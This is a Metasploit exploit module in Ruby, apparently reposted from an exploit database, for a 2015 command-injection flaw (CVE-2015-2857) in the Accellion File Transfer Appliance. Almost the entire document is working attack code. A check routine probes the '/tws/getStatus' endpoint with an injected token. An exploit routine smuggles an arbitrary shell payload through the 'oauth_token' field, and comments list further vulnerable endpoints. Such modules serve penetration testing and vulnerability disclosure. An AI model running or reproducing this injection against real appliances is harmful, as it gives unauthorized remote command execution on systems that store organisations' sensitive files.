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# Accellion FTA getStatus verify_oauth_token Command Execution Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Accellion FTA getStatus verify_oauth_token Command Execution',
'Description' => %q{
This module exploits a metacharacter shell injection vulnerability in the Accellion
File Transfer appliance. This vulnerability is triggered when a user-provided
'oauth_token' is passed into a system() call within a mod_perl handler. This
module exploits the '/tws/getStatus' endpoint. Other vulnerable handlers include
'/seos/find.api', '/seos/put.api', and /seos/mput.api'. This issue was confirmed on
version FTA_9_11_200, but may apply to previous versions as well. This issue was
fixed in software update FTA_9_11_210.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://r-7.co/R7-2015-08'],
['CVE', '2015-2857']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl bash telnet',
}
},
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 10 2015'
))

register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end

def check
uri = '/tws/getStatus'

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'transaction_id' => rand(0x100000000),
'oauth_token' => 'invalid'
}})

unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"MD5 token is invalid"/
return Exploit::CheckCode::Safe
end

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'transaction_id' => rand(0x100000000),
'oauth_token' => "';echo '"
}})

unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
return Exploit::CheckCode::Safe
end

Msf::Exploit::CheckCode::Vulnerable
end

def exploit

# The token is embedded into a command line the following:
# `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php verify_access_token '$token' '$scope'`;
token = "';#{payload.encoded};echo '"

uri = '/tws/getStatus'

# Other exploitable URLs:
# * /seos/find.api (works with no other changes to this module)
# * /seos/put.api (requires some hoop jumping, upload)
# * /seos/mput.api (requires some hoop jumping, token && upload)

print_status("Sending request for #{uri}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'transaction_id' => rand(0x100000000),
'oauth_token' => token
}})

if res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
print_status("Valid response received...")
else
if res
print_error("Unexpected reply from the target: #{res.code} #{res.message} #{res.body}")
else
print_error("No reply received from the target")
end
end

handler
end

end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-07-19]

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